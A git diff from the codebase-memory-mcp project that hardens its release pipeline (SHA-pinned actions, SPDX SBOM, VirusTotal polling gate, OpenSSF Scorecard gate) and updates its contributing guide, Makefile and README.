- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4
|
||||
with:
|
||||
merge-multiple: true
|
||||
|
||||
@@ -362,56 +490,57 @@ jobs:
|
||||
|
||||
# ── Artifact attestations (SLSA provenance) ──────────────
|
||||
- name: Attest build provenance (tar.gz)
|
||||
uses: actions/attest-build-provenance@v2
|
||||
uses: actions/attest-build-provenance@e8998f949152b193b063cb0ec769d69d929409be # v2
|
||||
with:
|
||||
subject-path: '*.tar.gz'
|
||||
|
||||
- name: Attest build provenance (zip)
|
||||
uses: actions/attest-build-provenance@v2
|
||||
uses: actions/attest-build-provenance@e8998f949152b193b063cb0ec769d69d929409be # v2
|
||||
with:
|
||||
subject-path: '*.zip'
|
||||
|
||||
- name: Attest build provenance (checksums)
|
||||
uses: actions/attest-build-provenance@v2
|
||||
uses: actions/attest-build-provenance@e8998f949152b193b063cb0ec769d69d929409be # v2
|
||||
with:
|
||||
subject-path: 'checksums.txt'
|
||||
|
||||
# ── SBOM generation ──────────────────────────────────────
|
||||
# ── SBOM generation (SPDX format) ──────────────────────────
|
||||
- name: Generate SBOM
|
||||
run: |
|
||||
cat > sbom.json << 'SBOMEOF'
|
||||
{
|
||||
"bomFormat": "CycloneDX",
|
||||
"specVersion": "1.4",
|
||||
"version": 1,
|
||||
"metadata": {
|
||||
"component": {
|
||||
"type": "application",
|
||||
"name": "codebase-memory-mcp",
|
||||
"version": "${{ inputs.version }}"
|
||||
}
|
||||
python3 -c "
|
||||
import json, uuid
|
||||
sbom = {
|
||||
'spdxVersion': 'SPDX-2.3',
|
||||
'dataLicense': 'CC0-1.0',
|
||||
'SPDXID': 'SPDXRef-DOCUMENT',
|
||||
'name': 'codebase-memory-mcp-${{ inputs.version }}',
|
||||
'documentNamespace': 'https://github.com/DeusData/codebase-memory-mcp/releases/${{ inputs.version }}',
|
||||
'creationInfo': {
|
||||
'created': '$(date -u +%Y-%m-%dT%H:%M:%SZ)',
|
||||
'creators': ['Tool: codebase-memory-mcp-release-pipeline']
|
||||
},
|
||||
"components": [
|
||||
{"type": "library", "name": "sqlite3", "version": "3.49.1", "description": "Vendored SQLite amalgamation"},
|
||||
{"type": "library", "name": "yyjson", "version": "0.10.0", "description": "Fast JSON parser"},
|
||||
{"type": "library", "name": "mongoose", "version": "7.16", "description": "Embedded HTTP server"},
|
||||
{"type": "library", "name": "mimalloc", "version": "2.1.7", "description": "Memory allocator"},
|
||||
{"type": "library", "name": "xxhash", "version": "0.8.2", "description": "Fast hash function"},
|
||||
{"type": "library", "name": "tre", "version": "0.8.0", "description": "POSIX regex (Windows)"},
|
||||
{"type": "library", "name": "tree-sitter", "version": "0.24.4", "description": "AST parser runtime (64 grammars)"}
|
||||
'packages': [
|
||||
{'SPDXID': 'SPDXRef-Package-sqlite3', 'name': 'sqlite3', 'versionInfo': '3.49.1', 'downloadLocation': 'https://sqlite.org', 'filesAnalyzed': False},
|
||||
{'SPDXID': 'SPDXRef-Package-yyjson', 'name': 'yyjson', 'versionInfo': '0.10.0', 'downloadLocation': 'https://github.com/ibireme/yyjson', 'filesAnalyzed': False},
|
||||
{'SPDXID': 'SPDXRef-Package-mongoose', 'name': 'mongoose', 'versionInfo': '7.16', 'downloadLocation': 'https://github.com/cesanta/mongoose', 'filesAnalyzed': False},
|
||||
{'SPDXID': 'SPDXRef-Package-mimalloc', 'name': 'mimalloc', 'versionInfo': '2.1.7', 'downloadLocation': 'https://github.com/microsoft/mimalloc', 'filesAnalyzed': False},
|
||||
{'SPDXID': 'SPDXRef-Package-xxhash', 'name': 'xxhash', 'versionInfo': '0.8.2', 'downloadLocation': 'https://github.com/Cyan4973/xxHash', 'filesAnalyzed': False},
|
||||
{'SPDXID': 'SPDXRef-Package-tre', 'name': 'tre', 'versionInfo': '0.8.0', 'downloadLocation': 'https://github.com/laurikari/tre', 'filesAnalyzed': False},
|
||||
{'SPDXID': 'SPDXRef-Package-tree-sitter', 'name': 'tree-sitter', 'versionInfo': '0.24.4', 'downloadLocation': 'https://github.com/tree-sitter/tree-sitter', 'filesAnalyzed': False}
|
||||
]
|
||||
}
|
||||
SBOMEOF
|
||||
json.dump(sbom, open('sbom.json', 'w'), indent=2)
|
||||
"
|
||||
|
||||
- name: Attest SBOM
|
||||
uses: actions/attest-sbom@v2
|
||||
uses: actions/attest-sbom@10926c72720ffc3f7b666661c8e55b1344e2a365 # v2
|
||||
with:
|
||||
subject-path: '*.tar.gz'
|
||||
sbom-path: 'sbom.json'
|
||||
|
||||
# ── Sigstore cosign signing ──────────────────────────────
|
||||
- name: Install cosign
|
||||
uses: sigstore/cosign-installer@v3
|
||||
uses: sigstore/cosign-installer@398d4b0eeef1380460a10c8013a76f728fb906ac # v3
|
||||
|
||||
- name: Sign release artifacts with cosign
|
||||
run: |
|
||||
@@ -434,7 +563,7 @@ jobs:
|
||||
git tag -f "$VERSION"
|
||||
git push origin "$VERSION" --force
|
||||
|
||||
- uses: softprops/action-gh-release@v2
|
||||
- uses: softprops/action-gh-release@153bb8e04406b158c6c84fc1615b65b24149a1fe # v2
|
||||
with:
|
||||
tag_name: ${{ inputs.version }}
|
||||
draft: true
|
||||
@@ -456,149 +585,169 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: write
|
||||
security-events: write
|
||||
id-token: write
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
# ── VirusTotal scan ──────────────────────────────────────
|
||||
- name: Download draft release binaries
|
||||
# Extract raw binaries from archives before scanning.
|
||||
# VirusTotal may not unpack archives >3MB, so we scan the
|
||||
# actual executables that users will run.
|
||||
- name: Download and extract release binaries
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
VERSION: ${{ inputs.version }}
|
||||
run: |
|
||||
mkdir -p assets
|
||||
mkdir -p assets binaries
|
||||
gh release download "$VERSION" --dir assets --repo "$GITHUB_REPOSITORY" --pattern '*.tar.gz' --pattern '*.zip'
|
||||
ls -la assets/
|
||||
|
||||
- name: Scan all binaries with VirusTotal
|
||||
uses: crazy-max/ghaction-virustotal@v4
|
||||
# Extract binaries from archives for scanning
|
||||
for f in assets/*.tar.gz; do
|
||||
NAME=$(basename "$f" .tar.gz)
|
||||
tar -xzf "$f" -C binaries/ 2>/dev/null || true
|
||||
# Rename to include platform for identification
|
||||
if [ -f binaries/codebase-memory-mcp ]; then
|
||||
mv binaries/codebase-memory-mcp "binaries/${NAME}"
|
||||
fi
|
||||
done
|
||||
for f in assets/*.zip; do
|
||||
NAME=$(basename "$f" .zip)
|
||||
unzip -o "$f" -d binaries/ 2>/dev/null || true
|
||||
if [ -f binaries/codebase-memory-mcp.exe ]; then
|
||||
mv binaries/codebase-memory-mcp.exe "binaries/${NAME}.exe"
|
||||
fi
|
||||
done
|
||||
echo "=== Extracted binaries for scanning ==="
|
||||
ls -la binaries/
|
||||
|
||||
- name: Scan extracted binaries with VirusTotal
|
||||
uses: crazy-max/ghaction-virustotal@936d8c5c00afe97d3d9a1af26d017cfdf26800a2 # v5.0.0
|
||||
id: virustotal
|
||||
with:
|
||||
vt_api_key: ${{ secrets.VIRUS_TOTAL_SCANNER_API_KEY }}
|
||||
files: |
|
||||
assets/*.tar.gz
|
||||
assets/*.zip
|
||||
binaries/*
|
||||
|
||||
# ── Wait for VirusTotal results and check for detections ──
|
||||
# ── Wait for ALL VirusTotal engines to complete, then check ──
|
||||
# The action outputs comma-separated "file=URL" pairs.
|
||||
# URLs are https://www.virustotal.com/gui/file/<sha256> permalinks.
|
||||
# We extract the SHA256, query the API for scan stats, and gate on detections.
|
||||
- name: Check VirusTotal scan results
|
||||
# URLs are /gui/file-analysis/<base64_id>/detection — we extract the
|
||||
# base64 analysis ID and poll /api/v3/analyses/<id> until completed.
|
||||
- name: Check VirusTotal scan results (wait for 100% completion)
|
||||
env:
|
||||
VT_API_KEY: ${{ secrets.VIRUS_TOTAL_SCANNER_API_KEY }}
|
||||
VT_ANALYSIS: ${{ steps.virustotal.outputs.analysis }}
|
||||
run: |
|
||||
echo "=== Checking VirusTotal scan results ==="
|
||||
DETECTIONS=0
|
||||
echo "=== Waiting for VirusTotal scans to fully complete ==="
|
||||
MIN_ENGINES=60
|
||||
rm -f /tmp/vt_gate_fail
|
||||
|
||||
# Split comma-separated output into newlines
|
||||
echo "$VT_ANALYSIS" | tr ',' '\n' | while IFS= read -r entry; do
|
||||
[ -z "$entry" ] && continue
|
||||
FILE=$(echo "$entry" | cut -d'=' -f1)
|
||||
URL=$(echo "$entry" | cut -d'=' -f2-)
|
||||
BASENAME=$(basename "$FILE")
|
||||
|
||||
# Extract SHA256 hash from URL (last path segment of /gui/file/<hash>)
|
||||
SHA256=$(echo "$URL" | grep -oE '[a-f0-9]{64}')
|
||||
if [ -z "$SHA256" ]; then
|
||||
echo "WARNING: Could not extract SHA256 from $URL — skipping"
|
||||
continue
|
||||
# Extract base64 analysis ID from URL: /gui/file-analysis/<ID>/detection
|
||||
ANALYSIS_ID=$(echo "$URL" | sed -n 's|.*/file-analysis/\([^/]*\)/.*|\1|p')
|
||||
if [ -z "$ANALYSIS_ID" ]; then
|
||||
echo "WARNING: Could not extract analysis ID from $URL"
|
||||
# Try SHA256 fallback (older action versions use /gui/file/<sha256>)
|
||||
ANALYSIS_ID=$(echo "$URL" | grep -oE '[a-f0-9]{64}')
|
||||
if [ -z "$ANALYSIS_ID" ]; then
|
||||
echo "BLOCKED: Cannot parse VirusTotal URL: $URL"
|
||||
echo "FAIL" >> /tmp/vt_gate_fail
|
||||
continue
|
||||
fi
|
||||
fi
|
||||
|
||||
# Poll the file report until last_analysis_results are available
|
||||
for attempt in $(seq 1 30); do
|
||||
# Poll /api/v3/analyses/<id> until status=completed (max 20 min)
|
||||
SCAN_COMPLETE=false
|
||||
for attempt in $(seq 1 120); do
|
||||
RESULT=$(curl -sf --max-time 10 \
|
||||
-H "x-apikey: $VT_API_KEY" \
|
||||
"https://www.virustotal.com/api/v3/files/$SHA256" 2>/dev/null || echo "")
|
||||
"https://www.virustotal.com/api/v3/analyses/$ANALYSIS_ID" 2>/dev/null || echo "")
|
||||
|
||||
if [ -z "$RESULT" ]; then
|
||||
echo " $BASENAME: waiting for scan (attempt $attempt/30)..."
|
||||
echo " $BASENAME: waiting (attempt $attempt)..."
|
||||
sleep 10
|
||||
continue
|
||||
fi
|
||||
|
||||
MALICIOUS=$(echo "$RESULT" | python3 -c "
|
||||
STATS=$(echo "$RESULT" | python3 -c "
|
||||
import json, sys
|
||||
d = json.loads(sys.stdin.read())
|
||||
stats = d.get('data', {}).get('attributes', {}).get('last_analysis_stats', {})
|
||||
print(stats.get('malicious', 0))
|
||||
" 2>/dev/null || echo "0")
|
||||
attrs = d.get('data', {}).get('attributes', {})
|
||||
status = attrs.get('status', 'queued')
|
||||
stats = attrs.get('stats', {})
|
||||
malicious = stats.get('malicious', 0)
|
||||
suspicious = stats.get('suspicious', 0)
|
||||
undetected = stats.get('undetected', 0)
|
||||
harmless = stats.get('harmless', 0)
|
||||
total = sum(stats.values())
|
||||
completed = malicious + suspicious + undetected + harmless
|
||||
print(f'{status},{malicious},{suspicious},{completed},{total}')
|
||||
" 2>/dev/null || echo "queued,0,0,0,0")
|
||||
|
||||
SUSPICIOUS=$(echo "$RESULT" | python3 -c "
|
||||
import json, sys
|
||||
d = json.loads(sys.stdin.read())
|
||||
stats = d.get('data', {}).get('attributes', {}).get('last_analysis_stats', {})
|
||||
print(stats.get('suspicious', 0))
|
||||
" 2>/dev/null || echo "0")
|
||||
STATUS=$(echo "$STATS" | cut -d',' -f1)
|
||||
MALICIOUS=$(echo "$STATS" | cut -d',' -f2)
|
||||
SUSPICIOUS=$(echo "$STATS" | cut -d',' -f3)
|
||||
COMPLETED=$(echo "$STATS" | cut -d',' -f4)
|
||||
TOTAL=$(echo "$STATS" | cut -d',' -f5)
|
||||
|
||||
TOTAL=$(echo "$RESULT" | python3 -c "
|
||||
import json, sys
|
||||
d = json.loads(sys.stdin.read())
|
||||
stats = d.get('data', {}).get('attributes', {}).get('last_analysis_stats', {})
|
||||
print(sum(stats.values()))
|
||||
" 2>/dev/null || echo "0")
|
||||
|
||||
if [ "$TOTAL" -gt 0 ]; then
|
||||
echo "$BASENAME: $MALICIOUS malicious, $SUSPICIOUS suspicious (of $TOTAL engines)"
|
||||
if [ "$STATUS" = "completed" ]; then
|
||||
echo "$BASENAME: $MALICIOUS malicious, $SUSPICIOUS suspicious ($COMPLETED completed, $TOTAL total engines)"
|
||||
|
||||
if [ "$MALICIOUS" -gt 0 ] || [ "$SUSPICIOUS" -gt 0 ]; then
|
||||
echo "BLOCKED: $BASENAME flagged! See $URL"
|
||||
echo "FAIL" >> /tmp/vt_gate_fail
|
||||
fi
|
||||
SCAN_COMPLETE=true
|
||||
break
|
||||
fi
|
||||
|
||||
echo " $BASENAME: waiting for scan results (attempt $attempt/30)..."
|
||||
echo " $BASENAME: $STATUS (attempt $attempt)..."
|
||||
sleep 10
|
||||
done
|
||||
|
||||
if [ "$SCAN_COMPLETE" != "true" ]; then
|
||||
echo "BLOCKED: $BASENAME scan did not complete within 20 minutes!"
|
||||
echo "FAIL" >> /tmp/vt_gate_fail
|
||||
fi
|
||||
done
|
||||
|
||||
if [ -f /tmp/vt_gate_fail ]; then
|
||||
FAIL_COUNT=$(wc -l < /tmp/vt_gate_fail | tr -d ' ')
|
||||
echo ""
|
||||
echo "=== VIRUSTOTAL GATE FAILED ==="
|
||||
echo "$FAIL_COUNT binary(ies) flagged as malicious or suspicious."
|
||||
echo "$FAIL_COUNT binary(ies) flagged or scan incomplete."
|
||||
echo "Draft release will NOT be published. Investigate before retrying."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "=== All binaries clean ==="
|
||||
echo "=== All binaries clean (all engines completed) ==="
|
||||
|
||||
# ── OpenSSF Scorecard ────────────────────────────────────
|
||||
- name: Run OpenSSF Scorecard
|
||||
uses: ossf/scorecard-action@v2
|
||||
id: scorecard
|
||||
with:
|
||||
results_file: scorecard.sarif
|
||||
results_format: sarif
|
||||
publish_results: true
|
||||
|
||||
- name: Upload Scorecard SARIF
|
||||
uses: github/codeql-action/upload-sarif@v3
|
||||
with:
|
||||
sarif_file: scorecard.sarif
|
||||
|
||||
- name: Extract Scorecard score
|
||||
id: score
|
||||
# ── OpenSSF Scorecard gate ──────────────────────────────────
|
||||
# Fetch public score and block release if repo health degrades below threshold.
|
||||
- name: OpenSSF Scorecard gate (minimum 4.0)
|
||||
run: |
|
||||
SCORE=$(python3 -c "
|
||||
import json, sys
|
||||
with open('scorecard.sarif') as f:
|
||||
d = json.load(f)
|
||||
props = d.get('runs', [{}])[0].get('tool', {}).get('driver', {}).get('properties', {})
|
||||
print(props.get('score', 'N/A'))
|
||||
" 2>/dev/null || echo "N/A")
|
||||
echo "score=$SCORE" >> "$GITHUB_OUTPUT"
|
||||
SCORE=$(curl -sf "https://api.scorecard.dev/projects/github.com/DeusData/codebase-memory-mcp" 2>/dev/null \
|
||||
| python3 -c "import json,sys; print(json.loads(sys.stdin.read()).get('score',0))" 2>/dev/null \
|
||||
|| echo "0")
|
||||
echo "OpenSSF Scorecard: $SCORE/10"
|
||||
if python3 -c "exit(0 if float('$SCORE') >= 4.0 else 1)" 2>/dev/null; then
|
||||
echo "=== Scorecard gate passed (>= 4.0) ==="
|
||||
else
|
||||
echo "BLOCKED: Scorecard $SCORE/10 is below minimum 4.0"
|
||||
echo "Check https://scorecard.dev/viewer/?uri=github.com/DeusData/codebase-memory-mcp"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# ── Append results + publish ─────────────────────────────
|
||||
- name: Append security verification and publish release
|
||||
env:
|
||||
VT_ANALYSIS: ${{ steps.virustotal.outputs.analysis }}
|
||||
SCORECARD_SCORE: ${{ steps.score.outputs.score }}
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
VERSION: ${{ inputs.version }}
|
||||
run: |
|
||||
@@ -622,10 +771,6 @@ jobs:
|
||||
rm -f /tmp/vt_table
|
||||
fi
|
||||
|
||||
# OpenSSF Scorecard
|
||||
REPORT+=$'\n**OpenSSF Scorecard** — repository security health: **'"$SCORECARD_SCORE"$'/10**\n'
|
||||
REPORT+=$'[View detailed scorecard](https://scorecard.dev/viewer/?uri=github.com/DeusData/codebase-memory-mcp)\n\n'
|
||||
|
||||
# Build provenance
|
||||
REPORT+=$'**Build Provenance (SLSA)** — cryptographic proof each binary was built by GitHub Actions from this repo:\n'
|
||||
REPORT+=$'```\ngh attestation verify <downloaded-file> --repo DeusData/codebase-memory-mcp\n```\n\n'
|
||||
@@ -634,8 +779,16 @@ jobs:
|
||||
REPORT+=$'**Sigstore cosign** — keyless signature verification:\n'
|
||||
REPORT+=$'```\ncosign verify-blob --bundle <file>.bundle <file>\n```\n\n'
|
||||
|
||||
# Native AV scans
|
||||
REPORT+=$'**Native antivirus scans** — all binaries passed these scans before this release was created (any detection would have blocked the release):\n'
|
||||
REPORT+=$'- Windows: Windows Defender with ML heuristics (the same engine end users run)\n'
|
||||
REPORT+=$'- Linux: ClamAV with daily signature updates\n'
|
||||
REPORT+=$'- macOS: ClamAV with daily signature updates\n\n'
|
||||
|
||||
# SBOM
|
||||
REPORT+=$'**SBOM** — Software Bill of Materials (`sbom.json`) lists all vendored dependencies.\n'
|
||||
REPORT+=$'**SBOM** — Software Bill of Materials (`sbom.json`) lists all vendored dependencies.\n\n'
|
||||
|
||||
REPORT+=$'See [SECURITY.md](https://github.com/DeusData/codebase-memory-mcp/blob/main/SECURITY.md) for full details.\n'
|
||||
|
||||
# Append to release notes
|
||||
EXISTING=$(gh release view "$VERSION" --json body --jq '.body' --repo "$GITHUB_REPOSITORY")
|
||||
|
||||
@@ -0,0 +1,32 @@
|
||||
name: OpenSSF Scorecard
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [main]
|
||||
schedule:
|
||||
- cron: '0 6 * * 1' # Every Monday at 06:00 UTC
|
||||
|
||||
permissions: read-all
|
||||
|
||||
jobs:
|
||||
scorecard:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
security-events: write
|
||||
id-token: write
|
||||
steps:
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Run OpenSSF Scorecard
|
||||
uses: ossf/scorecard-action@4eaacf0543bb3f2c246792bd56e8cdeffafb205a # v2.4.3
|
||||
with:
|
||||
results_file: results.sarif
|
||||
results_format: sarif
|
||||
publish_results: true
|
||||
|
||||
- name: Upload SARIF results
|
||||
uses: github/codeql-action/upload-sarif@38697555549f1db7851b81482ff19f1fa5c4fedc # v4
|
||||
with:
|
||||
sarif_file: results.sarif
|
||||
+34
-2
@@ -11,6 +11,7 @@ Contributions are welcome. This guide covers setup, testing, and PR guidelines.
|
||||
```bash
|
||||
git clone https://github.com/DeusData/codebase-memory-mcp.git
|
||||
cd codebase-memory-mcp
|
||||
git config core.hooksPath scripts/hooks # activates pre-commit security checks
|
||||
scripts/build.sh
|
||||
```
|
||||
|
||||
@@ -84,14 +85,45 @@ Language support is split between two layers:
|
||||
4. Add a test case in `tests/test_pipeline.c` for integration-level fixes
|
||||
5. Verify with a real open-source repo
|
||||
|
||||
### Infrastructure Languages (Infra-Pass Pattern)
|
||||
|
||||
Languages like **Dockerfile**, **docker-compose**, **Kubernetes manifests**, and **Kustomize** do not require a new tree-sitter grammar. Instead they follow an *infra-pass* pattern, reusing the existing tree-sitter YAML grammar where applicable:
|
||||
|
||||
1. **Detection helpers** in `src/pipeline/pass_infrascan.c` — functions like `cbm_is_dockerfile()`, `cbm_is_k8s_manifest()`, `cbm_is_kustomize_file()` identify files by name and/or content heuristics (e.g., presence of `apiVersion:`).
|
||||
2. **Custom extractors** in `internal/cbm/extract_k8s.c` — tree-sitter-based parsers that walk the YAML AST (using the tree-sitter YAML grammar) and populate `CBMFileResult` with imports and definitions.
|
||||
3. **Pipeline pass** (`pass_k8s.c`, `pass_infrascan.c`) — calls the extractor and emits graph nodes/edges. K8s manifests emit `Resource` nodes; Kustomize files emit `Module` nodes with `IMPORTS` edges to referenced resource files.
|
||||
|
||||
**When adding a new infrastructure language:**
|
||||
- Add a detection helper (`cbm_is_<lang>_file()`) in `pass_infrascan.c` or a new `pass_<lang>.c`.
|
||||
- Add the `CBM_LANG_<LANG>` enum value in `internal/cbm/cbm.h` and a row in the language table in `lang_specs.c`.
|
||||
- Write a custom extractor that returns `CBMFileResult*` — do not add a tree-sitter grammar.
|
||||
- Register the pass in `pipeline.c`.
|
||||
- Add tests in `tests/test_pipeline.c` following the `TEST(infra_is_dockerfile)` and `TEST(k8s_extract_manifest)` patterns.
|
||||
|
||||
## Commit Format
|
||||
|
||||
Use conventional commits: `type(scope): description`
|
||||
|
||||
| Type | When to use |
|
||||
|------|-------------|
|
||||
| `feat` | New feature or capability |
|
||||
| `fix` | Bug fix |
|
||||
| `test` | Adding or updating tests |
|
||||
| `refactor` | Code change that neither fixes a bug nor adds a feature |
|
||||
| `perf` | Performance improvement |
|
||||
| `docs` | Documentation only |
|
||||
| `chore` | Build scripts, CI, dependency updates |
|
||||
|
||||
Examples: `fix(store): set busy_timeout before WAL`, `feat(cli): add --progress flag`
|
||||
|
||||
## Pull Request Guidelines
|
||||
|
||||
- **One issue per PR.** Each PR must address exactly one bug, one feature, or one refactor. Do not bundle multiple fixes or feature additions into a single PR. If your change touches multiple areas, split it into separate PRs.
|
||||
- **Open an issue first.** Every PR should reference a tracking issue (`Fixes #N` or `Closes #N`). This ensures the change is discussed before code is written.
|
||||
- **C code only** — this project was rewritten from Go to pure C in v0.5.0. Go PRs will be acknowledged and potentially ported, but cannot be merged directly.
|
||||
- One logical change per PR — don't bundle unrelated features
|
||||
- Include tests for new functionality
|
||||
- Run `scripts/test.sh` and `scripts/lint.sh` before submitting
|
||||
- Keep PRs focused — avoid unrelated reformatting or refactoring
|
||||
- Reference the issue number in your PR description
|
||||
|
||||
## Security
|
||||
|
||||
|
||||
@@ -1,24 +0,0 @@
|
||||
.PHONY: build test lint clean install check bench-memory
|
||||
|
||||
BINARY=codebase-memory-mcp
|
||||
MODULE=github.com/DeusData/codebase-memory-mcp
|
||||
|
||||
build:
|
||||
go build -o bin/$(BINARY) ./cmd/codebase-memory-mcp/
|
||||
|
||||
test:
|
||||
go test ./... -v
|
||||
|
||||
check: lint test ## Run lint + tests
|
||||
|
||||
lint: ## Run golangci-lint
|
||||
golangci-lint run --timeout=5m ./...
|
||||
|
||||
clean:
|
||||
rm -rf bin/
|
||||
|
||||
install:
|
||||
go install ./cmd/codebase-memory-mcp/
|
||||
|
||||
bench-memory: ## Run memory stability benchmark
|
||||
go test -run TestMemoryStability -v -count=1 -timeout=5m ./internal/pipeline/
|
||||
+7
-1
@@ -115,6 +115,7 @@ EXTRACTION_SRCS = \
|
||||
$(CBM_DIR)/extract_type_refs.c \
|
||||
$(CBM_DIR)/extract_type_assigns.c \
|
||||
$(CBM_DIR)/extract_env_accesses.c \
|
||||
$(CBM_DIR)/extract_k8s.c \
|
||||
$(CBM_DIR)/helpers.c \
|
||||
$(CBM_DIR)/lang_specs.c
|
||||
|
||||
@@ -148,6 +149,7 @@ MCP_SRCS = src/mcp/mcp.c
|
||||
# Discover module (new)
|
||||
DISCOVER_SRCS = \
|
||||
src/discover/language.c \
|
||||
src/discover/userconfig.c \
|
||||
src/discover/gitignore.c \
|
||||
src/discover/discover.c
|
||||
|
||||
@@ -176,6 +178,7 @@ PIPELINE_SRCS = \
|
||||
src/pipeline/pass_envscan.c \
|
||||
src/pipeline/pass_compile_commands.c \
|
||||
src/pipeline/pass_infrascan.c \
|
||||
src/pipeline/pass_k8s.c \
|
||||
src/pipeline/httplink.c
|
||||
|
||||
# Traces module (new)
|
||||
@@ -259,6 +262,7 @@ TEST_MCP_SRCS = \
|
||||
|
||||
TEST_DISCOVER_SRCS = \
|
||||
tests/test_language.c \
|
||||
tests/test_userconfig.c \
|
||||
tests/test_gitignore.c \
|
||||
tests/test_discover.c
|
||||
|
||||
@@ -288,7 +292,9 @@ TEST_MEM_SRCS = tests/test_mem.c
|
||||
|
||||
TEST_UI_SRCS = tests/test_ui.c
|
||||
|
||||
ALL_TEST_SRCS = $(TEST_FOUNDATION_SRCS) $(TEST_EXTRACTION_SRCS) $(TEST_STORE_SRCS) $(TEST_CYPHER_SRCS) $(TEST_MCP_SRCS) $(TEST_DISCOVER_SRCS) $(TEST_GRAPH_BUFFER_SRCS) $(TEST_PIPELINE_SRCS) $(TEST_WATCHER_SRCS) $(TEST_LZ4_SRCS) $(TEST_SQLITE_WRITER_SRCS) $(TEST_GO_LSP_SRCS) $(TEST_C_LSP_SRCS) $(TEST_TRACES_SRCS) $(TEST_HTTPLINK_SRCS) $(TEST_CLI_SRCS) $(TEST_MEM_SRCS) $(TEST_UI_SRCS) $(TEST_INTEGRATION_SRCS)
|
||||
TEST_SECURITY_SRCS = tests/test_security.c
|
||||
|
||||
ALL_TEST_SRCS = $(TEST_FOUNDATION_SRCS) $(TEST_EXTRACTION_SRCS) $(TEST_STORE_SRCS) $(TEST_CYPHER_SRCS) $(TEST_MCP_SRCS) $(TEST_DISCOVER_SRCS) $(TEST_GRAPH_BUFFER_SRCS) $(TEST_PIPELINE_SRCS) $(TEST_WATCHER_SRCS) $(TEST_LZ4_SRCS) $(TEST_SQLITE_WRITER_SRCS) $(TEST_GO_LSP_SRCS) $(TEST_C_LSP_SRCS) $(TEST_TRACES_SRCS) $(TEST_HTTPLINK_SRCS) $(TEST_CLI_SRCS) $(TEST_MEM_SRCS) $(TEST_UI_SRCS) $(TEST_SECURITY_SRCS) $(TEST_INTEGRATION_SRCS)
|
||||
|
||||
# ── Build directories ────────────────────────────────────────────
|
||||
|
||||
|
||||
@@ -1,8 +1,18 @@
|
||||
# codebase-memory-mcp
|
||||
|
||||
[](https://github.com/DeusData/codebase-memory-mcp/releases/latest)
|
||||
[](LICENSE)
|
||||
[](https://github.com/DeusData/codebase-memory-mcp/actions/workflows/dry-run.yml)
|
||||
[](https://github.com/DeusData/codebase-memory-mcp)
|
||||
[](https://github.com/DeusData/codebase-memory-mcp)
|
||||
[](https://github.com/DeusData/codebase-memory-mcp)
|
||||
[](https://github.com/DeusData/codebase-memory-mcp)
|
||||
[](https://github.com/DeusData/codebase-memory-mcp/releases/latest)
|
||||
[](https://scorecard.dev/viewer/?uri=github.com/DeusData/codebase-memory-mcp)
|
||||
|
||||
**The fastest and most efficient code intelligence engine for AI coding agents.** Full-indexes an average repository in milliseconds, the Linux kernel (28M LOC, 75K files) in 3 minutes. Answers structural queries in under 1ms. Ships as a single static binary for macOS, Linux, and Windows — download, run `install`, done.
|
||||
|
||||
High-quality parsing through [tree-sitter](https://tree-sitter.github.io/tree-sitter/) AST analysis across all 64 languages, enhanced with LSP-style hybrid type resolution for Go, C, and C++ (more languages coming soon) — producing a persistent knowledge graph of functions, classes, call chains, HTTP routes, and cross-service links. 14 MCP tools. Zero dependencies. Plug and play across 10 coding agents.
|
||||
High-quality parsing through [tree-sitter](https://tree-sitter.github.io/tree-sitter/) AST analysis across all 66 languages, enhanced with LSP-style hybrid type resolution for Go, C, and C++ (more languages coming soon) — producing a persistent knowledge graph of functions, classes, call chains, HTTP routes, and cross-service links. 14 MCP tools. Zero dependencies. Plug and play across 10 coding agents.
|
||||
|
||||
<p align="center">
|
||||
<img src="docs/graph-ui-screenshot.png" alt="Graph visualization UI showing the codebase-memory-mcp knowledge graph" width="800">
|
||||
@@ -14,10 +24,11 @@ High-quality parsing through [tree-sitter](https://tree-sitter.github.io/tree-si
|
||||
|
||||
- **Extreme indexing speed** — Linux kernel (28M LOC, 75K files) in 3 minutes. RAM-first pipeline: LZ4 compression, in-memory SQLite, fused Aho-Corasick pattern matching. Memory released after indexing.
|
||||
- **Plug and play** — single static binary for macOS (arm64/amd64), Linux (arm64/amd64), and Windows (amd64). No Docker, no runtime dependencies, no API keys. Download → `install` → restart agent → done.
|
||||
- **64 languages** — vendored tree-sitter grammars compiled into the binary. Nothing to install, nothing that breaks.
|
||||
- **66 languages** — vendored tree-sitter grammars compiled into the binary. Nothing to install, nothing that breaks.
|
||||
- **120x fewer tokens** — 5 structural queries: ~3,400 tokens vs ~412,000 via file-by-file search. One graph query replaces dozens of grep/read cycles.
|
||||
- **10 agents, one command** — `install` auto-detects Claude Code, Codex CLI, Gemini CLI, Zed, OpenCode, Antigravity, Aider, KiloCode, VS Code, and OpenClaw — configures MCP entries, instruction files, and pre-tool hooks for each.
|
||||
- **Built-in graph visualization** — 3D interactive UI at `localhost:9749` (optional UI binary variant).
|
||||
- **Infrastructure-as-code indexing** — Dockerfiles, Kubernetes manifests, and Kustomize overlays indexed as graph nodes with cross-references. `Resource` nodes for K8s kinds, `Module` nodes for Kustomize overlays with `IMPORTS` edges to referenced resources.
|
||||
- **14 MCP tools** — search, trace, architecture, impact analysis, Cypher queries, dead code detection, cross-service HTTP linking, ADR management, and more.
|
||||
|
||||
## Quick Start
|
||||
@@ -269,7 +280,7 @@ codebase-memory-mcp cli --raw search_graph '{"label": "Function"}' | jq '.result
|
||||
|
||||
### Node Labels
|
||||
|
||||
`Project`, `Package`, `Folder`, `File`, `Module`, `Class`, `Function`, `Method`, `Interface`, `Enum`, `Type`, `Route`
|
